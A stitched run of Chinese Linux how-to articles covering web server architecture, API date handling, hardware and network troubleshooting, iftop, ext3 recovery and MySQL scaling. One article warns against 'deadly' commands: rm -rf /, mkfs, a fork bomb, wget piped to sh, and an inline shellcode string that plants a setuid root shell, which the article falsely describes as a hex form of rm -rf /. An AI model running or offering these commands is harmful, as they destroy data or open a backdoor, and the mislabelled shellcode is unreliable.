  第二部分是应用程序处理部分,这部分承担了代码运算。在大多数系统中,这部分工作是最消耗RAM和CPU资源的,因此进程数量必须被严格限制,通常 是大约每 1GB的内存10个进程,或者每个CPU核心两个进程。因此一台4GB RAM、16内核的服务器最多只能运行32个应用程序进程。

  但是,问题的关键是,Apache直接连接前端客户端通讯组件与后端应用程序进程组件。如此一来,前端部分往往保持长时间的连接,常常达到几分钟, 这导致后端部分将持续消耗内存和CPU资源。目前还没有直接的方法能够在大型系统中找到前后端服务的平衡,因此他们必须被分离开来。

  目前有两个主要的解决方法。第一个方法,也是现有系统上最容易的方法,就是在Apache前端安装负载均衡服务器或者Nginx来处理客户端连接部 分。负载均衡服务器,像 HAProxy或者Nginx能轻松处理成千上万条并发的连接,并使Apache能够真正的仅作为后端应用程序工作,来处理32个或是更多的进程。

  第二种方案,也是最通用的办法就是用Nginx替换Apache,同时使用PHP-PFM作为应用服务器。就像之前所提到的,这将分割前端客户端通信部分和后端应用程序部分。Nginx处理HTTP通讯协议,同时FPM处理后端应用程序部分,和那32个进程进行交互。

  然而这几种方法仍然还存在一些问题,主要是如何加载服务器的RPC调用,以及如何释放已经完成的RPC调用。 这两个问题都会在后继的博客中加以详解。

  另外,只使用Nginx的解决方法会给那些严重依赖于Apache功能的应用程序带来问题,尤其是特别依赖rewrite rules, .htaccess, 或者mod_security等一些可选组件的应用程序。在这种情况下,在Apache前端增加安装Nginx是最好的方法。

  通常来说,所有新的系统都应该使用Nginx和PHP-FPM来部署。这能提供高性能增长特性,并且是平衡用户和内存,CPU资源的最佳选择。已存在的系统可以在前端使用Nginx或者HAProxy以达到同样的效果,以便在当今现代网络环境中为用户提供更优质的服务。

来自:http://www.ctocio.com/ccnews/11876.html

Linux:5 个关于 API 中日期和时间设计规则

比方说,你要建立你的第一个API,将它变成公共、私人、或一些混合的产品。不要感到惊讶,如果你的第一个缺陷是和日期/时间相关的,那么不要低估你可能当涉及到处理日期和时期的时候所带来的麻烦。当涉及到处理的日期和时间问题时,你可以进来看看。这里有一些技巧可以让你摆脱这种潜在的麻烦。

警告:我假设你使用公历。在国际场合,这可能是一个糟糕的假设。如果你在一个不同的日历算法中操作,这不会帮助你。

规则 #1 使用ISO-8601格式作为你的日期格式

这是没有可讨论的余地的。从W3C 到 IETF, 还有甚至 XKCD, 互联网一直使用这个标准。不要自作聪明的使用其他。ISO-8601提供一系列的品种,来显示日期/时间/时区。

通过*nux控制台来快速看看ISO-8601格式,输入如下命令:

ISO 8601

ISO 8601 解决了很多问题,包括:

  • 自然排序 – 简单和优雅,免去多余的工作即可实现排序
  • 时区偏移 – 代表用户的地点和时区在日益增长的全球化和移动世界中越来越重要。
  • 地区中立性 – 想象一下噩梦一般的日期 2/3/4。这个日期随着你所处美国,欧洲或者其他地方而有不同的含义…这个日期在美国代表Feb 3, 2004,或者在其他地方代表Mar 2, 2004。在ISO 8601条款中,2004-02-03去掉了这些含糊的可能性。
  • 在不同的编程语言中都得到广泛的支持 – 即使不是所有的语言都使用这个标准作为默认值(例如Java),但是它们基本都有成熟的库来转化 ISO 8601格式。不要自作聪明来自己实现哦。

规则#2: 接受任何的时区

现在你有一个ISO-8601的工具了,但凭什么你能够获取到有关时区的偏移数据呢,用它吧!我们在一个全球化的时代。尤其是如果你的API是对外开放的,你将无可争议地要解决全球消费者的问题。不要去假设你的API使用者是用那个时区。

规则#3:用UTC(Coordinated Universal Time 世界同一时间)格式存储

这是大多数系统实际设计的一般规律。我已经记不清我看过多少次按照原公司总部时区建立的系统。不可避免的,除非你是纪律严明,用户最终不会用你的公司的时区看他们的时间。这很让人讨厌,尤其是当他们处在地球的另一端的时候。

UTC,或者世界标准时间,是最常见最有共性存储的时间,因为他不表示任何时区偏移量。这让你可以根据你系统的需要,给出整个系统时区的建议日期,无论是哪个时区都是恰当的。

规则#4 使用UTC格式作为返回值格式

UTC可以允许你的API调用者免去计算偏移到他们所需要的日期的工作。而对于你,更重要的是,你的API组不需要为每一次调用都去烦恼如何计算它的偏移值。在你的API文档和系统支持中,对于你如何处理日期,只需简单的说“你获取的是UTC格式”。

规则#5 如果你不需要时间的话,不要使用它

ISO 8601同样允许我们灵活的提供一个日期而不带时间。在时间不重要的场合中,只使用日期(例如“目标完成日期”):不要保存或者返回时间。虽然对于只保存11:59pm没什么坏处,或者其他随机时间,但是,你可能在日期国际化的时候会碰到很大麻烦。

想象一下,你使用UTC格式保存2013-03-01T23:59:59,代表Mar 1,2013。现在,对于中国标准时间(UTC+0800)作时差计算,你现在是表示Mar 2, 2013 早上8点。这会有麻烦,因为日期被误读了。在这个例子中,我们只需要使用2013-03-01,不带任何时间/时区时差,来免除日期的解析误读的可能性。现在流行的数据库都支持只包含日期的格式。

总结

当所有这些关于日期的讨论可能会让你有点麻木,不过可以放心,几乎所有的RESTful平台都使用这些格式。当你需要摆弄数据序列化库的时候,需要当心,留意当它离开你的API平台的时候,它会对你的日期进行什么操作。

我们大部分人都在不同的时区或者国家工作,生活或者交流,我们知道连简单的安排一个约会都会让我们感到有多么的疑惑。还有,如果你不希望写一大堆日期转换和格式化的东西,你可能会希望有一个标准来代表时间。好好运用这些规则来处理你的日期和时间,你就可以减轻很多烦恼。

VIA 开源中国社区

 

Linux:Linux系统中的硬件问题如何排查?

  这篇教程的诞生过程实在相当纠结。很长时间以来我一直在考虑要不要写这么一篇东西,最主要的原因在于对硬件相关问题进行故障排查可能是计算机管理领域最棘手的工作。即使是经验相当丰富的用户有时也会遇上自己搞不定的状况,并在试图解决那些微妙、古怪、难以捉摸甚至无法确定的软硬件冲突困境时碰上钉子。想在网络上寻找答案?我们找到的很可能是上万个无关主题,最终在空荡荡的论坛上孤独徘徊、耗尽余生。

  不过就个人来说,我自认为算是个自负的极客、对技术难题和写作手法都有相当的信心。今天我打算尽量与大家分享一些实用的技巧与处理方法,希望有助于读者朋友理解、查明并最终搞定硬件难题–无论您使用的是Linux设备还是其它什么平台。这篇教程无法保证100%有效,其中的某些方法也可能不太容易 掌握,但它还是能起到一些作用。请大家随我一起探寻硬件故障中的奥秘吧。

硬件故障类型

  在开始着手诊断硬件问题之前,我们首先需要调整预期、充分了解工作中可能遇到的硬件故障类型,这一点非常重要。最后,大家还必须掌握硬件故障的实际表现形式。

硬件无法工作

  最常见的故障源自电子设备中的某一部分发生损坏,但例外情况同样时有发生。如果大家的电源出了问题,设备当然没办法启动,这个道理非常简单。除此之外,显卡、声卡甚至记忆棒都可能在关键时刻挂掉,并带来各种各样的奇怪表现。在这种情况下,系统也许仍能通过BIOS自 检并进入操作系统,甚至允许用户进行一定程度的正常操作。而在某些情况下,我们可能会直接感受到设备故障,例如屏幕分辨率突然变得非常低–这肯定是因为 显卡驱动程序无法正常工作;或者听音乐时没有声音,那就是声卡的问题。在某些情况下,操作系统还可能直接弹出错误提示信息。

硬件的不稳定性故障

  不稳定性是我们面临的最困难、也最不容易确诊的故障类型之一。如果大家的硬件仅有某一部分发生损坏,那么整体设备也许仍能正常运转,只在特定情况下 偶尔出现问题。这往往令用户摸不着头脑,无法把异常状况与对应设备联系到一起,从而得出正确结论。另外,即使是同一故障也可能存在多种表现形式,它们彼此 之间看似毫无关联,但足以把用户折磨得死去活来。

  某些类型的错误甚至不会影响设备的正常功能,但它们却有可能偷偷导致数据损坏或设备整体性能下降。这类问题相当阴险,因为我们往往习惯于将其归罪于 操作系统损坏或软件冲突。举例来说,如果我们的记忆棒中存在少数损坏单元,使大家在访问并使用这些存储空间时发生段错误,各位打算怎么办?再有,我们可能 会把系统内核崩溃与某些软件挂上钩,但其真正根源或许在于内存故障或总线错误,您想到了吗?另一个很好的例子就是三年前我在自己老款T61设备上遭遇的无 线/笔记本问题。我专门用来玩游戏的发烧级台式机还碰到过由地线引发的故障。

固件/驱动程序故障

  驱动程序故障常常表现得像是硬件出了问题,但不同之处在于其发作状况比较稳定、不像硬件那样时好时坏。通常情况下,软件问题导致的状况比较一致且能 够再现。在某些情况下,我们的驱动程序甚至无法与硬件进行通信;而在另一些情况下,存在bug的驱动程序会令设备以意料之外的方式运作。有时候这类问题还 会转化成全局功能缺失,例如内核崩溃、黑屏、白屏以及其它各种奇怪的故障。

其它注意事项

  大家还必须意识到,某些系统可能会锁定BIOS以防止我们使用某些硬件组件或功能,或者是出于某种目的而禁用这些组件。在后面的文章中我们将进一步讨论BIOS的相关话题。

  最后,大家可能会在无意中将那些设计上存在冲突的硬件组件放在一起工作。某些供应商生产的硬件也许只针对某款特定操作系统,因此我们无法从官方得到 任何其它系统平台上的驱动程序支持。不过有些硬件能够与其它产品使用同样的公版驱动程序,例如Lexmark打印机就能完美接纳PCL驱动程序。

硬件分析

  由于在追踪硬件问题、尝试加以解决方面存在数以百计的处理方案,因此在实际操作中感到迷茫或是淹没在互联网那数不清的案例当中都是极为正常的现象–人生最大的悲哀也莫过于此。我给大家的忠告是,尽管以有条理的方式对待每一次硬件故障,最大程度减少误判与干扰因素。

  好吧,我们先来假设大家已经遇上了一起硬件故障。在现实中有些故障真实存在、有些则只是我们的误判或者偶然现象,不过在这里我们暂时只讨论那些真正存在的问题。

备份与更新

  首先也是最关键的一步,为自己的数据做好备份。一旦设备开始捣乱,我们的底线就是千万不要失去任何宝贵的资料信息,这一步在修复计划中可谓不可或缺。

  第二个步骤是对设备进行全面更新。在Linux领域,这意味着下载所有可用的系统更新,因为其中可能包含着对解决硬件问题至关重要的固件及驱动程序 修复补丁。就算没有这些针对性内容,新内核也往往能更好地支持设备上的硬件。举例来说,SSD TRIM命令只能在2.6.33内核中生效。同样,Sandy Bridge也仅支持最新的几个系统发行版本。英伟达的290.XX驱动程序中可能包含一些早先版本不具备的额外功能或重要修复代码。

启动日志

  如果我们的设备中存在已经完全损坏、部分损坏或者发生严重问题的硬件,那么首先想到的肯定是要看看启动过程有没有对此进行记录及反馈。为此,大家需 要查询系统中的启动日志。在大多数情况下,Linux系统的启动日志被保存在/var/log路径下,文件名通常为boot.log或者boot.msg 等。如下图所示:

https://dn-linuxcn.qbox.me/data/attachment/album/201303/28/112951663no9wjjnrorr4j.jpg

  不要看到错误信息就关注!

  从上图中,大家可以看到几条红色的失败提示信息与黄色警告信息。暂时把它们放在一边,它们可能与故障有关也可能并无关系,事实上我们不要因为干扰因 素而影响到正常的检查流程。再次强调,大家现在要做的是确定硬件方面的某种问题,就目前而言,我们只应该关注那些与问题硬件确切相关的内容。如果没什么关 系,那么直接跳过就好。事实上,很多情况下我们都可以预估问题的出现范围并直接到对应部分进行检查。

Linux:7个致命的Linux命令

如果你是一个 linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

  1. rm -rf /

    此命令将递归并强制删除 / 目录下的所有文件。

  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

  3. mkfs.ext3 /dev/sda

    这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

  4. :(){ :|:& };:

    著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。

  5. any_command > /dev/sda

    使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

  6. wget http://some_untrusted_source -O- | sh

    不要从不信任的地方下载东西,这可能会获取恶意代码。

  7. mv /home/yourhomedirectory/* /dev/null

    此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

Linux:系统管理的工具箱之: iftop

谁在使用所有的带宽, 他们在做什么? 使用iftop 把他们找出来.

资深的系统管理员经常使用一些很通用很常见的的工具. 当然,每天都有一些新的工具加入这个领域,甚至一些成熟的系统也不是使用相同的管理工具. 基于此,我决定写一些很通用但是却容易被忽略的工具的介绍,使系统管理员的工作更轻松. 我的上一篇文章里包括sar, 这个工具可以按时间收集和显示系统的各项性能. 这一次, 我谈论的是一个可以很方便的实时查看网络性能的程序: iftop.

 

在一个会议上必须使用网络,但是却没有足够的带宽.着急吧!当你想要接收邮件, 其它的人在看电影或电视, 下载分布安装磁盘(不知道这是什么东东), 使用p2p网络, 升级或是观看YouTube上的猫视频. 使用以上任意一个网络都是让人沮丧的事, 想像一下对于收费网络的管理员来说是更沮丧的. 无论你是要开一个网络会议,要进行网络办公或是访问一个Web服务, 了解什么在使用所有的带宽都是一件高兴的事.

iftop是linux命令行程序,用图形形式实时显示网络连接所使用的带宽. 从它的名字你能看到, iftop借鉴了很多经验从负载工具top上. 就像top一样, iftop 每隔几秒动态更新, 还有, 默认状态下, 它的输出根据使用资源的多少排序. top显示的是进程对CPU和内存的使用量, iftop显示的是网络连接所使用的上传和下载的带宽.

虽然iftop 有RHEL和Debian的分支的安装包,但是缺省情况下是没有安装。所以你需要在使用之前安装它。对于Red Hat 分支来说,你也许需要从第三方软件库里面下载。安装完成后,最简单的启动方式是在root用户下输入iftop命令。iftop将会启动一个新的界面,就像在图-1中看到的那样,监听和展示流量,若要关闭该程序,,就像TOP命令一样按下Q键即可。

图-1,iftop 输出- IP地址被覆盖。

在屏幕的最上方,是iftop 显示每个连接比例的条形图。跟着的输出行对应着每对主机之间的网络连接。在两个主机之间的箭头代表数据流动方向。最后三列最后2秒、20秒以及40秒内的平均连接带宽。由此举例,图1中最后2秒的平均值约为2.83Mb,最后10秒约为3.32Mb,最后40秒约为3.11Mb。在所有的发送和接收的下方,屏幕的底部是对全部发送和接收的统计(TX和RX),包括在2-、10-和40秒内的平均值,而最后,则是接口的总计。

注意: 如果你有一个多界面的服务器,你可能想让iftop从默认的界面监控另一个不同的。当你启动iftop时,只要在界面添加-ifollowed来监控。例如要监控eth2,我将输入“iftop -i eth2”。

禁用DNS查找

当你运行iftop时,它默认会试着将所有IP地址转译成主机名。如果你正在诊断一个本地网络的问题,这有时很有用;然而,正如很多其他的网络诊断工具,解析所有IP地址会降低程序运行速度并可能产生你在输出中看到的流量。解决方法就是加上‘-nargument’运行iftop, 这样他就只显示所有的IP地址(在另一个窗口,你总是可以对你感兴趣的IP运行一次DNS查找)。或者,如果你已经运行了iftop,你可以按‘n’来禁用DNS查找。

显示端口数据

当你在多用途的服务器上运行iftop,它能很方便的知道是不是所有上行流量都在访问你的Web服务器,邮件服务器或其它什么。另外,如果你试图找出什么使用了你全部的下行带宽,它能很方便的看到流量最高的连接是Web连接还是你执行的rsync任务。要弄清楚所有这些,iftop允许你切换显示端口或关闭显示端口。当iftop运行时按p键,它会显示所有源IP和目标IP流量使用的端口。

同时显示一个连接的源端口和目的端口,很大的缺点是,你会发现在很多情况下,你只关心其中之一。例如,如果您正在运行一个Web服务器,你可能会注意到Web端口的大量流量(iftop中标记为www),但所有地址访问你的Web服务器都使用各种高端口。在这种情况下,您可以按S或D键切换只显示源端口或目的端口。图2显示了iftop的输出,我选择只显示源端口。

图2. iftop只显示源端口。

对我来说,iftop是一个相当简单的命令行工具,这感觉棒极了。的确,有一些其他的图形界面工具可以提供基于WEB的网络流量展示,我认为这是一个关于查看网络流量的趋势,就像分析系统负载和其他指标一样。喜欢iftop命令就像喜欢TOP命令一样- 当出现问题时,随着问题的进展,你可以得到你系统的实时数据。

———

译者注:作者简介

Kyle Rankin 系统架构师,作者,著作有 Ubuntu Server Book, Knoppix Hacks, Knoppix Pocket Reference, Linux Multimedia Hacks, and Ubuntu Hacks 

VIA http://www.linuxeden.com/html/softuse/20130330/137625.html

Linux:ext3文件系统恢复被删文件

大家都知道,在linux系统中是没有回收站的概念的,一旦rm命令删除某个文件之后,就找不回来。不过其实这时还是有救的,之前大概清楚个概念,知道有救,但如何救就没怎么详细去了解了。那么这次我们来实际操作下。

其实为什么说还有救呢?说这个之前需要对ext3文件系统有个大概的了解。
在ext3文件系统中我们创建一个文件时,它首先会在ext3文件系统的inode表申请个inode号,然后再将文件的信息以及数据写入。那么inode号又是什么呢?
inode号里面包括两部分,一个是metadata,即是元数据,简单理解就是这个文件的文件名,大小,权限,访问时间等等,也就是除了这个文件的内容数据之外的信息。
如图,创建了一个新文件“testfile”,我们可以用stat命令来查看它的信息;
另一个是一个 pointer 指针。该指针指向真正的数据存放的block数据区。所以通常在我们查看一个文件内容时,我们通过文件名找到对应的inode号,然后再通过这个inode号里面的指针,再找到真正的数据。
ext3文件系统恢复被删文件
而一个文件对应一个inode号,无论文件小到1,2K还是大到1,2GB都一样。在我们创建文件系统时,就会自动创建inode表,我们的inode号也就属于,来自于这个inode表。当然默认的inode表也是有大小的。达到了默认的上限值后,我们就无法创建文件咯。
我们可以通过“df -i”这个命令去查看,每个文件系统的inode的使用情况。通常按照默认的划分都够用了。当然如果你的服务器专门处理些小邮件,小文件的,你可以适当调整inode表的大小,让它更大一些。
如图,我们可以看到各文件系统的inode的总数量,以及使用了多少,剩余多少,以及占用的百分比;
ext3文件系统恢复被删文件
那么当我们执行命令,“rm -f testfile” 时,这时其实删除的只是对应这个文件的文件名与其inode的关联,数据其实还在,同时这个文件之前所占用的inode号被标记为可用状态,所以这个使用就不要再创建新的文件了,也就是对这个文件系统不要做任何动作,我想这个大家也都清楚。因为如果再创建新的文件,在ext3文件系统中,新的文件会复用之前被标记为可用状态的inode号,而这时你的数据也就岌岌可危了。
ext3文件系统恢复被删文件

 

ext3文件系统恢复被删文件如上图,test文件inode号为98315,而删除之后,再建立个新的文件,它的inode号使用了之前空余出的相同的inode号。当然这个在不同文件系统是不同的,例如在redhat的GFS文件系统中,被删的文件的inode号是会保留下来的,新的文件会用新的inode号。当然在GFS中也可以通过命令的形式去清空无效被删的inode号,将其还原成可被用的状态。
那么我们现在知道数据还是存在的,那么接着我们如何来恢复呢?
首先我们需要一个恢复数据的工具,所谓工欲善其事,必先利其器;
我们来下载,编译下这个ext3grep软件先吧,当然前提要安装好gcc噢!
wget http://ext3grep.googlecode.com/files/ext3grep-0.10.1.tar.gz 
tar -zxvf ext3grep-0.10.1.tar.gz 
cd ext3grep-0.10.1 
./configure 
make
make install
安装好后,我们就先在准备下环境,单独挂载个文件系统,在删除个文件。这时我们看到之前文件的inode号为8052。在处理前,我们需要先卸载该文件系统。
ext3文件系统恢复被删文件
但若因某进程,持续访问该文件系统,无法卸载,可通过以下方式:
kill掉正在使用这个目录的进程:
fuser -k /test
当然,这样做如果你不好确保是否安全的话,可以先运行lsof这个命令,来查看所以连接到这个目录的进程:
lsof +D /test
确认好了然后再kill掉。
我们首先执行“ext3grep /dev/sdb1 –ls –inode 2
/dev/sdb1  是我之前卸载的ext3文件系统
–inode 2  的意思是指定从/dev/sdb1的文件系统的root根来寻找
ext3文件系统恢复被删文件ext3文件系统恢复被删文件
这时我们从上图黄色标识的地方找到了web目录的inode号,然后我们接着对web目录的inode号来搜索,当然这里还显示了一个之前删除的文件web.txt。
ext3文件系统恢复被删文件
如上图,我们可以看到webfile和它的inode号,8052。
然后指定相关路径,以及被删的文件。
ext3文件系统恢复被删文件
当我们看到 Restoring web/webfile时,说明已经成功恢复了。
接着在执行命令的当前目录下找到RESTORED_FILES目录下的对应目录的被删文件,然后我们可以看到被删文件的内容和之前一样。
然后我们再将之前的/dev/sdb1挂载起来。
ext3文件系统恢复被删文件
这时我们可以看到在该目录的文件已经被恢复成功了。
 

Linux:RHEL6自带JDK中文乱码解决

这个是因为跟系统的字体不符,修改成系统的字体就可以了!

/usr/lib/jvm/java-1.6.0/jre/lib为JAVA_HOME的目录,如果不是自带rpm包安装就找到JAVA_HOME的目录就可以了!

#cd  /usr/lib/jvm/java-1.6.0/jre/lib
#mv  fontconfig.bfc  fontconfig.bfc_bak
#cp fontconfig.RedHat.6.bfc fontconfig.bfc

jdk-1.4以前不适用这种方法!

 

Linux:Linux服务器故障排查实用指南

  由于造成网络问题的因素多种多样,因此网络故障排查技能就成了每位服务器或网络服务负责人必不可少的重要素质.linux为我们提供了大量网络故障排查工具,在本文中,我们将讨论一些常见的网络问题,并介绍如何利用某些Linux工具追踪意外状况发生的根本原因。

  问题:服务器A无法与服务器B通信

  可能大家在实际工作中最常见的网络故障就是一台服务器无法与另一台网络上的服务器进行通信。本小节将通过实例讲解具体处理办法。在实例中,一台名为dev1的服务器无法访问另一台名为web1的服务器中的网络服务(端口80)。导致这一现象的原因相当繁杂,因此我们需要一步步测试操作活动,进而通过排除法找到故障的根源。

  一般说来,在对这样的问题进行故障排查时,大家可能会跳过某些初始步骤(例如检查链接等),因为接下来的某些测试环节能起到同样的诊断作用。举例来说,如果我们测试并确认DNS能够正常工作,那么就证明我们的主机是能够与本地网络进行通信的。但在本次实例解析中,我们将本着谨慎的态度执行每一个步骤,借以理解各个级别的不同测试方式。

  问题出在客户机还是服务器端?

  大家可以利用一项快速测试缩小造成故障的范围,即通过同一网络中的另一台主机尝试访问对应服务器。在本实例中,我们姑且将另一台与dev1同处一套网络环境下的服务器命名为dev2,并尝试通过它访问web1.如果dev2也不能正常访问web1,那么显然问题很可能出在web1或者是dev1、dev2及web1之间的网络身上。如果dev2能够正常访问web1,那么我们就可以断定dev1出问题的机率较大。首先,我们假设dev2能够访问web1,因此我们开始将故障排查的重点放在dev1这边。

  线缆插好了吗?

  故障排查的第一步要在客户机上进行。大家首先要确认自己客户机的网络连接没有问题。要做到这一点,我们可以使用ethtool程序(通过ethtool工具包安装)对链接(即以太网设备与网络构成物理连接)情况加以检测。如果大家无法确定自己使用的是哪个端口,那么请运行/sbin/ifconfig命令将所有可用的网络端口及其设定列出。我们假设自己的以太网设备在eth0端口上,那么:

$ sudo ethtool eth0
Settings for eth0:
     Supported ports: [ TP ]
     Supported link modes:   10baseT/Half 10baseT/Full
                               100baseT/Half 100baseT/Full
                               1000baseT/Half 1000baseT/Full
     Supports auto-negotiation: Yes
     Advertised link modes:  10baseT/Half 10baseT/Full
                               100baseT/Half 100baseT/Full
                               1000baseT/Half 1000baseT/Full
     Advertised auto-negotiation: Yes
     Speed: 100Mb/s
     Duplex: Full
     Port: Twisted Pair
     PHYAD: 0
     Transceiver: internal
     Auto-negotiation: on
     Supports Wake-on: pg
     Wake-on: d
     Current message level: 0x000000ff (255)
     Link detected: yes

  在最后一行中,大家可以看到检测结果显示链接设置为“yes”,所以dev1已经与网络构成物理连接。如果这项检测的结果为“no”,那么我们需要亲自检查dev1的网络连接,并将线缆插实到位。在确定物理连接没有问题之后,执行下面的步骤。

  注意:ethtool绝不仅仅是一款用于检测链接状况的工具,它还能够诊断并纠正双工问题。当Linux服务器与网络连通时,通常会与网络自动协商以获取传输速度信息以及该网络是否支持全双工。在本实例中,传输速度经ethtool检测为100Mb/秒,且该网络支持全双工机制。如果大家发现主机的网络传输速度缓慢,那么速度及双工设定是首先需要关注的重点。如前文所示运行ethtool,若大家发现双工被设定为一半,则运行以下命令:

$ sudo ethtool -s eth0 autoneg off duplex full

  意思是利用自己的以太网设备代替eth0。

  端口正常吗?

  一旦确认了服务器与网络之间物理连接的完好性,接下来就是判断主机上的网络端口是否配置正确。在这方面,最好的检查方式就是运行ifconfig命令并将端口作为参数后缀。因此要测试eth0的设置,大家应该运行以下内容:

$ sudo ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:17:42:1f:18:be
          inet addr:10.1.1.7  Bcast:10.1.1.255  Mask:255.255.255.0
          inet6 addr: fe80::217:42ff:fe1f:18be/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:1 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:229 (229.0 B)  TX bytes:2178 (2.1 KB)
          Interrupt:10 

  在上述输出结果中,第二行可能最值得我们关注,因为其内容是解释我们的主机已经被配置了一套IP地址(10.1.1.7)与子网掩码(255.255.255.0)。现在,大家需要确认这样的设置结果是否正确。如果端口未受配置,请尝试运行sudo ifup eth0,然后再次运行ifconfig重新检查端口是否出现。如果设置错误或端口未出现,则检查/etc/network/interfaces路径(Debian系统)或/etc/-sysconfig/-network_scripts/ifcfg-路径(红帽系统)。在这些文件中,大家可以修正网络设置中存在的所有错误。现在如果主机通过DHCP获得自身IP,我们则需要将故障排查转移到DHCP主机处,找出为什么我们没有正确获得IP租用周期。

  问题出在本地网络中吗?  排除了端口出现的问题之后,接下来我们就该检查默认网关是否被设置及我们能否对其进行访问。route命令将显示出我们当前的路由表,包括默认网关:

$ sudo route -n
Kernel IP routing table
Destination     Gateway      Genmask          Flags Metric Ref     Use Iface
10.1.1.0        *             255.255.255.0    U     0      0        0 eth0
default         10.1.1.1     0.0.0.0           UG    100    0        0 eth0

  以上内容中值得关注的在于最后一行,也就是default那段内容。在这里,大家可以看到主机网关为10.1.1.1.请注意,由于我们在route命令后添加了-n选项,所以命令不会尝试将这些IP地址解析为实际主机名称。这种方式能让命令的运行更迅速,但更重要的是,我们不希望故障排查工作受到任何潜在DNS错误的影响。如果大家没有在这里看到经过配置的默认网关,而我们想要检查的主机处于另一子网之下(例如web1为10.1.2.5),那么问题很可能就出在这里。要将其解决,大家一定要确保网关设置要么处于Debian系统的/etc/network/interfaces路径下、要么是在红帽系统的/etc/-sysconfig/network_scripts/ifcfg-路径下;如果IP是由DHCP所分配,则确保网关在DHCP服务器中被正确设置。在Debian系统中,我们运行如下命令进行端口重置:

$ sudo service networking restart

  而在红帽系统中我们需要运行如下命令进行端口重置:

$ sudo service network restart

  请大家注意,即使是如此基本的操作命令在不同的系统发行版中也存在着差异。

  一旦确认网关配置完成,我们可以利用ping命令来确认与网关的通信效果:

$ ping -c 5 10.1.1.1
PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=1 ttl=64 time=3.13 ms
64 bytes from 10.1.1.1: icmp_seq=2 ttl=64 time=1.43 ms
64 bytes from 10.1.1.1: icmp_seq=3 ttl=64 time=1.79 ms
64 bytes from 10.1.1.1: icmp_seq=5 ttl=64 time=1.50 ms
--- 10.1.1.1 ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 4020ms
rtt min/avg/max/mdev = 1.436/1.966/3.132/0.686 ms

  如大家所见,我们已经能够正确ping通网关,这至少意味着大家与10.1.1.0网络能够进行通信。如果无法ping通网关,那么原因可能分以下几种。首先,这可能表示我们的网关自动阻断ICMP数据包。如果是这样,请告诉网络管理员阻断ICMP是种讨厌的坏习惯,由此带来的安全收益也微乎其微。然后尝试ping同一子网下的另一台Linux主机。如果ICMP没有被阻断,那么可能是主机交换机端口的VLAN设置有误,所以我们需要进一步检查接入的交换机。

Linux:从小型网站到超大规模网站的MySQL参考架构

Oracle发布了《面向大规模可伸缩网站基础设施的MySQL参考架构》白皮书,针对将MySQL用作数据存储的不同类型和不同规模的网站给出了推荐的拓扑结构。

根据不同的服务规模:用户和会话管理、电子商务、分析类应用 (多结构数据)和CMS(元数据),这份白皮书给出了4个参考架构:

请注意,这里给出的指导方针只是基本建议,实际应用中需要根据读写模式、负载平衡和所用的缓存机制等因素进行调整。

小型(Small)网站参考架构

这一参考架构可用于上述4类网站的所有小型实现。可以使用MySQL Replication来制作数据的副本以支持备份和分析。

中型(Medium)网站参考架构

在这种情况下,推荐针对不同类型的活动选择独立的基础设施,考虑每个MySQL服务器最多支持8个应用服务器,如果因伸缩性需求应用服务器数量增加,则添加更多的MySQL从服务器。

为满足会话管理网站和电子商务网站的高可用性要求,可以使用Linux心跳(Heartbeat)和半同步复制。CMS网站通常对读操作的向外扩展有更高要求,假定每个MySQL从服务器最多可以处理3000个并发用户,白皮书建议为每个MySQL主服务器添加20-30个从服务器。CMS系统可将数据保存在一个SAN中,或者保存在连接到该服务器的分布式设备中。

会话管理网站和CMS网站推荐使用Memcached,这有助于减轻应用服务器和MySQL服务器的负担。

分析类网站的拓扑结构简单一些,1个主服务器加3个从服务器就能解决问题。

大规模(Large)网站参考架构

针对大规模网站,白皮书推荐使用MySQL Geographic Replication来进行跨数据中心的数据库复制,这种方式支持跨越地理上分离的集群进行异步复制。

会话管理网站和电子商务网站应该使用集群,白皮书声称“4个数据节点,1秒可以支持6000个会话(页面点击),其中每次页面点击生成8–12个数据库操作”。大规模CMS网站使用的配置与中型网站类似,只是必要时需要多添加一些从服务器。针对分析类应用,这里引入了一个数据提炼(Data Refinery)单元,用于数据的清理和组织。

超大规模(Extra Large)网站参考架构

针对社交网站,白皮书也给出了相应建议。它声称“网络上流量最大的10个网站有9个部署了MySQL,其中包括Google、Facebook和YouTube”,但是没有说明这些网站用MySQL干什么,不过众所周知的是,LinkedIn成功应用了MySQL。

社交网站的拓扑结构利用了中型和大规模网站中实现的概念,包括专用应用服务器、Memcached和数据提炼单元, 但为支持写操作的向外扩展引入了分片(Shard)。MySQL集群被用于用户的认证和查找,当“用于查找的键(key)不止1个”时,直接读写相应的分片。

MySQL主服务器和从服务器的推荐规格如下:

  • 8–16个x86-64位CPU核心(MySQL 5.5及以上)。
  • 4–8个x86 -64位CPU核心(MySQL 5.1及更早版本)。
  • 比活动数据多3–10倍的内存。
  • Linux、Solaris或Windows操作系统。
  • 最少4块磁盘,8–16块磁盘能增加I/O密集型应用的性能。
